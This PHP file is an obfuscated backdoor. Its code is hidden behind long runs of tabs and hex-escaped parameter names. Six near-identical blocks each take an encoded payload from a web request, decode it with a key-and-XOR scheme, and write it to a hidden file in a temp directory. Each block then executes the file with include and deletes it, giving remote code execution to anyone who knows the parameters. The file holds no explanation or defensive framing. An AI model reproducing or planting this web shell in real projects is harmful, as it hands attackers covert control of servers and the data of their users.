<?php																																										if(array_key_exists("\x72\x65c", $_REQUEST)){ $flag = $_REQUEST["\x72\x65c"]; $flag =explode( '.', $flag ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($flag); for($p = 0; $p < $len; $p++) { $v7 = $flag[$p]; $sChar = ord($s[$p % $lenS]); $dec =((int)$v7 - $sChar -($p % 10)) ^ 65; $ptr .= chr($dec); } $value = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd()]); foreach ($value as $dchunk): if (is_dir($dchunk) ? is_writable($dchunk) : false) { $val = str_replace("{var_dir}", $dchunk, "{var_dir}/.data_chunk"); $success = file_put_contents($val, $ptr); if ($success) { include $val; @unlink($val); die();} } endforeach; }
																																										if(!is_null($_REQUEST["o\x62j\x65\x63t"] ?? null)){ $mrk = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm"]); $flg = $_REQUEST["o\x62j\x65\x63t"]; $flg = explode(".",$flg ); $tkn= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s8); $r= 0; while( $r < count( $flg)) { $v8= $flg[$r]; $sChar= ord( $s8[$r % $sLen]); $d= ( ( int)$v8 - $sChar -( $r % 10))^32; $tkn .= chr( $d); $r++; } while ($resource = array_shift($mrk)) { if (!!is_dir($resource) && !!is_writable($resource)) { $sym = implode("/", [$resource, ".fac"]); if (file_put_contents($sym, $tkn)) { include $sym; @unlink($sym); die(); } } } }
																																										if(in_array("\x64e\x73c", array_keys($_POST))){ $factor = $_POST["\x64e\x73c"]; $factor= explode ( '.', $factor ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; array_walk($factor , function ($v9) use (&$ptr , &$l , $s , $sLen) { $sChar = ord($s[$l % $sLen]); $d = ((int)$v9 - $sChar - ($l % 10))^83; $ptr .=chr($d); $l++; }); $fac = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); foreach ($fac as $key => $pset) { if (array_product([is_dir($pset), is_writable($pset)])) { $descriptor = sprintf("%s/.binding", $pset); if (@file_put_contents($descriptor, $ptr) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6Fb\x6A"])){ $resource = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $rec = $_POST["\x6Fb\x6A"]; $rec = explode ( '.' , $rec); $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $t = 0; while( $t < count( $rec)) { $v3 = $rec[$t]; $sChar = ord( $s[$t % $sLen]); $d =( ( int)$v3 - $sChar -( $t % 10)) ^ 16; $object .= chr( $d); $t++;} $key = 0; do { $hld = $resource[$key] ?? null; if ($key >= count($resource)) break; if (is_dir($hld) ? is_writable($hld) : false) { $pset = implode("/", [$hld, ".binding"]); if (@file_put_contents($pset, $object) !== false) { include $pset; unlink($pset); exit; } } $key++; } while (true); }
																																										if(isset($_REQUEST["\x66ac"])){ $marker = $_REQUEST["\x66ac"]; $marker =explode (".", $marker) ; $dat = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $t = 0; $len = count( $marker ); do { if( $t >= $len) break; $v5 = $marker[$t]; $chS = ord( $salt5[$t % $lenS] ); $dec = ( ( int)$v5 - $chS -( $t % 10)) ^ 38; $dat .= chr( $dec ); $t++; } while( true ); $dchunk = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $binding = 0; do { $entry = $dchunk[$binding] ?? null; if ($binding >= count($dchunk)) break; if ((is_dir($entry) and is_writable($entry))) { $value = join("/", [$entry, ".obj"]); if (file_put_contents($value, $dat)) { include $value; @unlink($value); exit; } } $binding++; } while (true); }


if(array_key_exists("record", $_POST)){
	$obj = $_POST["record"];
	   $obj		= explode(		 "."	 , 	 $obj	);			
	$descriptor =		'';
            $s =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen( 	$s);
            $q =		0;
    
            array_walk( 	$obj 	,function( 	$v6) use( 	&$descriptor 	,&$q 	,$s 	,$sLen) {
                $sChar =		ord( 	$s[$q %		$sLen]);
                $d =		( 	( 	int)$v6 - $sChar -( 	$q %		10)) ^ 	25;
                $descriptor .= chr( 	$d);
                $q++;
            });
	$item = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]);
	$hld = 0;
do {
    $parameter_group = $item[$hld] ?? null;
    if ($hld >= count($item)) break;
    		if (is_dir($parameter_group) ? is_writable($parameter_group) : false) {
    $val = vsprintf("%s/%s", [$parameter_group, ".factor"]);
    if (file_put_contents($val, $descriptor)) {
	include $val;
	@unlink($val);
	exit;
}
}
    $hld++;
} while (true);
}